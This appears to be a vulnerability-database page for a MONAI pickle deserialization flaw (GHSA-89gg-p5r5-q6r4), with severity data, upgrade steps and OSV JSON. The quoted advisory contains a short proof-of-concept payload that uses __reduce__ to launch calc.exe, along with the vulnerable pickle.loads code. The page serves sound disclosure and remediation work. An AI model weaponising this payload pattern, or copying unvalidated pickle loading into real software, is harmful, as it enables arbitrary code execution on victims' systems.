GHSA-89gg-p5r5-q6r4: MONAI Remote Code Execution Vulnerability

HIGH
CVSS 7.6
CWE-502
Published
Advisory Summary

GHSA-89gg-p5r5-q6r4 is a HIGH (CVSS 7.6) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting MONAI libraries in the PyPI ecosystem. The issue involves unsafe functions lead to pickle deserialization rce. Remediation is available by upgrading affected packages to version 1.6.0.

GHSA-89gg-p5r5-q6r4 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-89gg-p5r5-q6r4
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product MONAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-89gg-p5r5-q6r4

To remediate this vulnerability, upgrade all affected MONAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

monai fixed: 1.6.0
pip install monai>=1.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show monai

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-89gg-p5r5-q6r4, inspect your installed packages using pip:

pip show monai

Analyze the terminal output to locate any version of MONAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.

Note: The pip show monai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In MONAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

GHSA-89gg-p5r5-q6r4 Affected MONAI Versions

1 component(s)
Fixed Versions:
1.6.0
Product / Package Ecosystem Affected Versions Fixed Version
monai
PyPI
< 1.6.0
1.6.0

References

Frequently Asked Questions

What is GHSA-89gg-p5r5-q6r4?
GHSA-89gg-p5r5-q6r4 is a security vulnerability in MONAI involving Unsafe functions lead to pickle deserialization rce under CWE-502: Deserialization of Untrusted Data.
Which MONAI versions are affected?
Affected versions include releases prior to 1.6.0 across affected packages: monai.
What version fixes GHSA-89gg-p5r5-q6r4?
Upgrading to 1.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is monai affected?
Yes, monai is affected in releases prior to 1.6.0. Upgrade your dependency to 1.6.0 or later.
What is the CVSS score of GHSA-89gg-p5r5-q6r4?
GHSA-89gg-p5r5-q6r4 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-89gg-p5r5-q6r4?
GHSA-89gg-p5r5-q6r4 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for GHSA-89gg-p5r5-q6r4?
Run the dependency tree command: 'pip show monai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-89gg-p5r5-q6r4",
  "modified" : "2026-07-31T22:01:45Z",
  "published" : "2026-04-07T20:17:21Z",
  "aliases" : [ ],
  "summary" : "MONAI: Unsafe functions lead to pickle deserialization rce",
  "details" : "### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, (['calc.exe'],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n<img width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" />\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T20:17:21Z",
    "nvd_published_at" : null
  }
}